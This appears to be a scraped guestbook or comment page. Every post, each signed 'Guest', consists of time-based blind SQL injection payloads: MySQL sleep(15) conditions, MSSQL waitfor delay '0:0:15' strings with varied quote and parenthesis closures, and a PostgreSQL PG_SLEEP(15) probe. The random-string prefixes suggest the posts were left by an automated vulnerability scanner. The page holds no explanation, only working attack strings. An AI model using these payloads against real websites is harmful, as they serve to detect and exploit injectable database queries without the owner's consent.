Guest:
1*if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1*if(now()=sysdate(),sleep(15),0)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
1*if(now()=sysdate(),sleep(15),0)
-1; waitfor delay '0:0:15' --

Guest:
1*if(now()=sysdate(),sleep(15),0)
-1); waitfor delay '0:0:15' --

Guest:
1*if(now()=sysdate(),sleep(15),0)
-1 waitfor delay '0:0:15' --

Guest:
1*if(now()=sysdate(),sleep(15),0)
3ZsHwPSu'; waitfor delay '0:0:15' --

Guest:
1*if(now()=sysdate(),sleep(15),0)
BNoknjRk'); waitfor delay '0:0:15' --

Guest:
1*if(now()=sysdate(),sleep(15),0)
zX9X23Wv')); waitfor delay '0:0:15' --

Guest:
1*if(now()=sysdate(),sleep(15),0)
bVQu4qRL' OR 717=(SELECT 717 FROM PG_SLEEP(15))--